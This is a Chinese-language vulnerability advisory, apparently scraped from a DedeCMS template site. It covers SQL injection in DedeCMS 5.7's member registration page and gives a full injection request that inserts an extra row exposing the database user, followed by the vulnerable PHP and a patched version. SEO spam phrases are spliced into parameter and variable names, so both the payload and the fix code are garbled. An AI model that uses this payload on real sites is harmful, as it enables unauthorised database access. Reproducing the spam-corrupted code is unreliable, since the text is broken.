导读:织梦教程织梦教程1. 漏洞描述 Dedecms会员中心注入漏洞 2. 漏洞触发条件 http://127.0.0.1/dedecms5.7/member/reg_new.php织梦cms模板dede模板堂。

1. 漏洞描述   Dedecms会员中心注入漏洞   2. 漏洞触发条件 /member/reg_new.php?dopost=regbase&step=1&mdede模板安装type=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpw织梦模板免费d=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree= //把vdcode=slum改成当前的验证码 3. 漏洞影响范围   4. 漏洞代码分析   /member/reg_new.php .. $jointime = time(); $logintime = time(); $joinip = GetIP(); $loginip = GetIP(); $pwd = md5($userpwd); $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0); //未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询 $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` , `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` ) VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores', '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; if($dsql->ExecuteNoneQuery($inQuery)) .. 5. 防御方法   /member/reg_new.php .. $jointime = time(); $logintime = time(); $joinip = GetIP(); $loginip = GetIP(); $pwd = md5($userpwd); /* 对$mtype、$safeanswer、$safequestion进行有效过滤 */ $mtype = HtmlReplace($mtype,1); $safeanswer = HtmlReplace($safeanswer); $saf织梦文章模板equestion = HtmlReplace($safequestion); /* */ $spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0); $inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` , `matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` ) VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores', '0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); "; if($dsql->ExecuteNoneQuery($inQuery)) { ..

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